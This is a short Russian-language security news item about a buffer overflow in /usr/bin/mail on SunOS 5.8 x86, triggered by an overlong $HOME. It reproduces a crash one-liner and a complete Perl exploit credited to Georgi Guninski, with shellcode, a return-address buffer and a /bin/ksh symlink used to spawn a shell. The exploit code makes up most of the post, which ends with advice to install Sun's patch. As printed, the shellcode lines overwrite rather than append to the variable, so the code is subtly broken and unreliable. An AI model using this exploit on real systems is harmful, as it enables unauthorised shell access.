Вчера Георгий Гунински нашел очередной баг, на этот раз это переполнение буфера в SunOS 5.8 x86 с $HOME.

Детали:

HOME=`perl -e 'print "A"x1100'` ; export HOME 
mail a 
CTL-C 

eip выдает ошибку с кодом 0x41414141. 

Эксплоит:

#!/usr/bin/perl 
# /usr/bin/mail exploit by Georgi Guninski 
use Env qw($HOME); 
#shell code taken from Pablo Sor's mailx exploit 
$shell = "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06"; 
$shell ="\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90"; 
$shell ="\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0"; 
$shell ="\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33"; 
$shell ="\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec"; 
$shell ="\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89"; 
$shell ="\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50"; 
$shell ="\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2"; 
$shell ="\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4"; 
$shell ="\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78"; 
$RET = "\xa0\x6f\x04\x08" ; #may need to change this 
$OVER=1032; 
$ALL=1200; 
$buf=$RET x ($OVER/4) . "\x90" x ($ALL - $OVER - length($shell)) . $shell; 
system("/bin/ln -s /bin/ksh /tmp/xx"); 
print "Written by Georgi Guninski, shell code taken from Pablo Sor's mailx exploit.\nPress CTL-C\n"; 
$ENV{HOME}=$buf; 
exec "/usr/bin/mail","A";

Для устранения скачайте последний патч от SUN.

Оставить мнение